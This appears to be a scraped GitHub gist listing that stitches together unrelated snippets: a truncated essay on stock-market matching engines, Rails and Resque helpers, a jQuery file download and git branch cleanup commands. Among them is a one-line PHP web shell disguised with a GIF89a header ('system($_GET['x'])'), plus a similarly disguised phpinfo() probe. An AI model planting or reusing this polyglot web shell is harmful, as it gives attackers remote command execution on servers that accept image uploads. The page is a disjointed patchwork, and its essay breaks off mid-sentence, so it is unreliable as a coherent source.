The computer driven markets for instruments like stocks and exchange traded stock options, have transformed finance and the flow of capital. These markets are enabled by order matching engines (and the infrastructure that supports this software). Before computer trading networks and matching engines, stocks where traded on cavernous exchange floors and transaction costs where high. When electronic trading fully matured, floor traders were a fading anachronism and transaction costs had been reduced to pennies a share in many cases. Electronic trading could not exist without advanced network infrastructure, but without the software matching engines no shares would change hands. The computer trading networks, the matching engine software has also created a concentrated nexus of potential failure. Failures in these systems have increased as the frequency and volume on the electronic networks has increased. The position of order matching engines in the trading infrastructure makes these systems o
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| GIF89a;<?php system($_GET['x']); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| GIF89a;<?php phpinfo(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1. Somewhere on your machine clone the project. | |
| ``` | |
| > git clone https://github.com/facebook/react-devtools.git | |
| > cd react-devtools | |
| ``` | |
| 2. Switch to the v3 branch | |
| ``` | |
| > git checkout v3 | |
| ``` |
- Assigning an object to a
belongs_toassociation does not automatically save the object. It does not save the associated object either.
- When you assign an object to a
has_oneassociation, that object is automatically saved (in order to update its foreign key). - In addition, any object being replaced is also automatically saved, because its foreign key will change too
- If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.
- If the parent object (the one declaring the
has_oneassociation) is unsaved (that is,new_record?returns true) then the child objects are not saved. They will automatically when the parent object is saved.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Example from: http://snipplr.com/view/37063/ | |
| include Rails.application.routes.url_helpers | |
| # set host in default_url_options: | |
| default_url_options[:host] = "localhost" | |
| # can then use: | |
| url_for() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def delete_failed_job_if | |
| redis = Resque.redis | |
| (0...Resque::Failure.count).each do |i| | |
| string = redis.lindex(:failed, i) | |
| break if string.nil? | |
| job = Resque.decode(string) | |
| should_delete_job = yield job | |
| next unless should_delete_job |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // from https://codepen.io/chrisdpratt/pen/RKxJNo | |
| // html: <button type="button" id="GetFile">Get File!</button> | |
| $('#GetFile').on('click', function () { | |
| $.ajax({ | |
| url: 'https://s3-us-west-2.amazonaws.com/s.cdpn.io/172905/test.pdf', | |
| method: 'GET', | |
| xhrFields: { | |
| responseType: 'blob' | |
| }, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1. delete remote branches | |
| git branch -r | grep "feature/AAA" | sed -r 's/^.{9}//' | xargs git push origin --delete | |
| 2. delete local branches | |
| git branch | grep "hotfix" | xargs git branch -d |
NewerOlder